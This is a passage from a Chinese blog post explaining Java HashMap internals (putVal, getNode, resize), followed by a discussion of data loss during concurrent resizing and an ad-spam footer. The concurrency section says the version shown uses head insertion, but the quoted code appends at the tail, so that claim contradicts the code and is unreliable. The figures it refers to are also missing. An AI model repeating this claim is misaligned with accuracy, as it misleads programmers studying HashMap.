                    ((k = e.key) == key || (key != null && key.equals(k))))
                    break;
                p = e;
            }
        }
        //該key在hashmap已存在，更新與在鏈表跳出循環節點對應的值
        if (e != null) { // existing mapping for key
            V oldValue = e.value;
            if (!onlyIfAbsent || oldValue == null)
                e.value = value;
            afterNodeAccess(e);
            return oldValue;
        }
    }
    ++modCount;
    //超過閾值則更新
    if (++size > threshold)
        resize();
    afterNodeInsertion(evict);
    return null;
}

1.2.3 HashMap的get操作

/**
     * Implements Map.get and related methods.
     *
     * @param hash hash for key
     * @param key the key
     * @return the node, or null if none
     */
    final Node<K,V> getNode(int hash, Object key) {
        Node<K,V>[] tab; Node<K,V> first, e; int n; K k;
        //table數組不為空，且對應的下標位置也不為空。
        if ((tab = table) != null && (n = tab.length) > 0 &&
            (first = tab[(n - 1) & hash]) != null) {
            //如果第一個位置是對應的key，則返回
            if (first.hash == hash && // always check first node
                ((k = first.key) == key || (key != null && key.equals(k))))
                return first;
            //遍歷其他元素
            if ((e = first.next) != null) {
                //紅黑樹
                if (first instanceof TreeNode)
                    return ((TreeNode<K,V>)first).getTreeNode(hash, key);
                //鏈表
                do {
                    if (e.hash == hash &&
                        ((k = e.key) == key || (key != null && key.equals(k))))
                        return e;
                } while ((e = e.next) != null);
            }
        }
        return null;
    }

1.2.4 HashMap的擴容操作

    /**
     * Initializes or doubles table size.  If null, allocates in
     * accord with initial capacity target held in field threshold.
     * Otherwise, because we are using power-of-two expansion, the
     * elements from each bin must either stay at same index, or move
     * with a power of two offset in the new table.
     *
     * @return the table
     */
    final Node<K,V>[] resize() {
        Node<K,V>[] oldTab = table;
        int oldCap = (oldTab == null) ? 0 : oldTab.length;
        int oldThr = threshold;
        int newCap, newThr = 0;
        //table不為空，且容量大於0
        if (oldCap > 0) {
            //如果舊的容量到達閾值，則不再擴容，閾值直接設置為最大值
            if (oldCap >= MAXIMUM_CAPACITY) {
                threshold = Integer.MAX_VALUE;
                return oldTab;
            }
            //如果舊的容量沒有到達閾值，直接操作
            else if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY &&
                     oldCap >= DEFAULT_INITIAL_CAPACITY)
                newThr = oldThr << 1; // double threshold
        }
        //閾值大於0，直接使用舊的閾值
        else if (oldThr > 0) // initial capacity was placed in threshold
            newCap = oldThr;
        //如果閾值為零，則使用默認的初始化值
        else {               // zero initial threshold signifies using defaults
            newCap = DEFAULT_INITIAL_CAPACITY;
            newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY);
        }
        if (newThr == 0) {
            float ft = (float)newCap * loadFactor;
            newThr = (newCap < MAXIMUM_CAPACITY && ft < (float)MAXIMUM_CAPACITY ?
                      (int)ft : Integer.MAX_VALUE);
        }
        threshold = newThr;
        //更新數組桶
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] newTab = (Node<K,V>[])new Node[newCap];
        table = newTab;
        //將之前舊數組桶的數據重新移到新數組桶中
        if (oldTab != null) {
            //依次遍歷舊table中每個數組桶的元素
            for (int j = 0; j < oldCap; ++j) {
                Node<K,V> e;
                //如果數組桶中含有元素
                if ((e = oldTab[j]) != null) {
                    //將下標數據清空
                    oldTab[j] = null;
                    //如果元組的某一桶中只有一個元素，則直接將該元素移到新的位置去
                    if (e.next == null)
                        newTab[e.hash & (newCap - 1)] = e;
                    //如果是紅黑樹結構
                    else if (e instanceof TreeNode)
                        ((TreeNode<K,V>)e).split(this, newTab, j, oldCap);
                     //鏈表 -- 對舊桶里鏈表中的每一個元素重新計算哈希值得到下標
                    else { // preserve order
                        //將原先桶中的鏈表分為兩個鏈表
                        Node<K,V> loHead = null, loTail = null;
                        Node<K,V> hiHead = null, hiTail = null;
                        Node<K,V> next;
                        do {
                            next = e.next;
                            /*
                             * e.hash & oldCap 對hash取模運算，
                             * 雖然數組大小擴大了一倍，
                             * 但是同一個key在新舊table中對應的index卻存在一定聯繫： 
                             * 要麼一致，要麼相差一個 oldCap。
                             */
                            if ((e.hash & oldCap) == 0) {
                                if (loTail == null)
                                    loHead = e;
                                else
                                    loTail.next = e;
                                loTail = e;
                            }
                            else {
                                if (hiTail == null)
                                    hiHead = e;
                                else
                                    hiTail.next = e;
                                hiTail = e;
                            }
                        } while ((e = next) != null);
                        if (loTail != null) {
                            loTail.next = null;
                            newTab[j] = loHead;
                        }
                        if (hiTail != null) {
                            hiTail.next = null;
                            newTab[j + oldCap] = hiHead;
                        }
                    }
                }
            }
        }
        return newTab;
    }

　　此處在處理鏈表的時候，如何將鏈表中的節點重新分配到新的哈希表需要做一些解釋。在擴容的時候，將原來的哈希表擴大了一倍，原來屬於同一個桶中的數據會被重新分配，此時取模運算時（a mod b），會注意到，b會擴大兩倍（a mod 2b)，此時如果該桶中的某一個數據的哈希值是c1（0<c<b），則它必定還是會落入原來的位置，而如果桶中的某一個數據的哈希值是c2（b<c2<2b）,則它會被重新分配到一個新的位置（這個位置是原先的哈希桶位置+舊桶的大小）。

HashMap在多線程的情況下出現的死循環現象

　　在某些java版本中擴容機制如果使用鏈表，且再插入時使用尾插法會出現死循環，具體原因可以參考老生常談，HashMap的死循環，在本文中所參考的java版本使用了頭插法的方式將元素添加到鏈表當中，可以避免死循環的出現，但是會出現一部分節點丟失的問題。如圖：

　　假設原始的哈希map的某個桶的數據如下，此時線程開始擴容，將桶中的數據分配到lo和hi桶的鏈表中。

 　　初始時刻線程1和線程2開始運行，線程1在執行完以下代碼后，線程1的時間片運行結束。線程1運行的結果如圖所示

　　線程2與線程1同時運行，線程2的時間片未用完，還在繼續執行，根據代碼的分配策略，線程2直到時間片運行結束，出現如圖所示的結果：

 　　此時CPU的時間片又被分配到了線程1，線程1繼續運行，因為此時A所在的鏈表結構已經發生了變化，只能處理A，B，D三個元素。此時線程1創建的hashmap如圖：

 參考資料

　　教你初步了解紅黑樹

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

※網頁設計最專業,超強功能平台可客製化

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※台中搬家遵守搬運三大原則,讓您的家具不再被破壞!